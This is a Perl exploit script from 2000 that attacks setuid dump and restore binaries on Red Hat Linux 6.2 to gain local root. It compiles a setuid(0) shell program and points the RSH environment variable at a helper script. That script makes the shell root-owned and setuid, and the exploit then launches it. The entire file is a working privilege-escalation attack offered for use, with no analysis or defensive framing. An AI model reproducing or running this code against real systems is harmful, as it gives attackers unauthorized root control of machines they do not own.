#!/usr/bin/perl

# perl exploit of restore and dump
# redhat linux 6.2
# written by tlabs
# Use at your discretion

$EXPORT1="TAPE=garbage:garbage" ;
$EXPORT2="RSH=./hey" ;

sub USAGE
{
  print "$0 <type>\n1=dump 2=dump.static 3=restore 4=restore.staic\nYour choice innit;)\nWritten by Tlabs\n" ;
  exit 0 ;
}

sub ERROR
{
  print "$_[0]\n" ;
  exit 0 ;
}

open(TEMP, ">shell.c")|| ERROR("Something went wrong:$!");
printf TEMP "#include<unistd.h>\n#include<stdlib.h>\nint main()\n{" ;
printf TEMP "    setuid(0);\n\tsetgid(0);\n\texecl(\"/bin/sh\",\"sh\",0);\n\treturn 0;\n}" ;
close(TEMP);
system "cc -o shell shell.c" ;
unlink "shell.c" ;
open(TEMP1, ">hey")|| ERROR("Something went wrong: $!");
printf TEMP1 "#!/bin/sh\nchown root shell\nchmod 4755 shell" ;
close(TEMP1);
chmod(0755, "hey");

if ($ARGV[$0] eq "1")
{
  $DUMPER="/sbin/dump" ;
  if ( -u "$DUMPER" )
  {
    system "export $EXPORT1 ;export $EXPORT2 ; $DUMPER -0 \/" ;
    sleep(3);
    if ( -u "shell" )
    {
      unlink "hey" ;
      system "./shell" ;
    }
    else
    {
      unlink "hey" ;
      unlink "shell" ;
      print "Something fucked at the last, sorry" ;
    }
   }
   else
   {
     unlink "hey" ;
     unlink "shell" ;
     printf "Dump is not exploitable on this system\n";
   }
}
elsif ($ARGV[$0] eq "2")
{
  $DUMPER="/sbin/dump.static" ;
  if ( -u "$DUMPER" )
  {
    system "export $EXPORT1 ;export $EXPORT2 ; $DUMPER -0 \/" ;
    sleep(3);
    if ( -u "shell" )
    {
      unlink "hey" ;
      system "./shell" ;
    }
    else
    {
      unlink "hey" ;
      unlink "shell" ;
      print "Something fucked at the last, sorry" ;
    }
  }
  else
  {
    unlink "hey" ;
    unlink "shell" ;
    printf "Dump.static is not exploitable on this system\n";
  }
}
elsif ($ARGV[$0] eq "3")
{
  $RESTORER="/sbin/restore" ;
  if ( -u "$RESTORER" )
  {
    system "export $EXPORT1 ; export $EXPORT2 ; $RESTORER -i" ;
    sleep(3);
    if ( -u "shell" )
    {
      unlink "hey" ;
      system "./shell" ;
    }
    else
    {
      unlink "hey" ;
      unlink "shell" ;
      print "Something fucked at the last, sorry" ;
    }
  }
  else
  {
    unlink "hey" ;
    unlink "shell" ;
    printf "Restore is not exploitable on this system\n";
  }
}
elsif ($ARGV[$0] eq "4")
{
  $RESTORER="/sbin/restore.static" ;
  if ( -u "$RESTORER" )
  {
    system "export $EXPORT1 ; export $EXPORT2 ; $RESTORER -i" ;
    sleep(3);
    if ( -u "shell" )
    {
      unlink "hey" ;
      system "./shell" ;
    }
    else
    {
      unlink "hey" ;
      unlink "shell" ;
      print "Something fucked at the last, sorry" ;
    }
  }
  else
  {
    unlink "hey" ;
    unlink "shell" ;
    printf "Restore.static is not exploitable on this system\n";
  }
}
else
{
  USAGE ;
}
#                   www.hack.co.za   [16 November 2000]#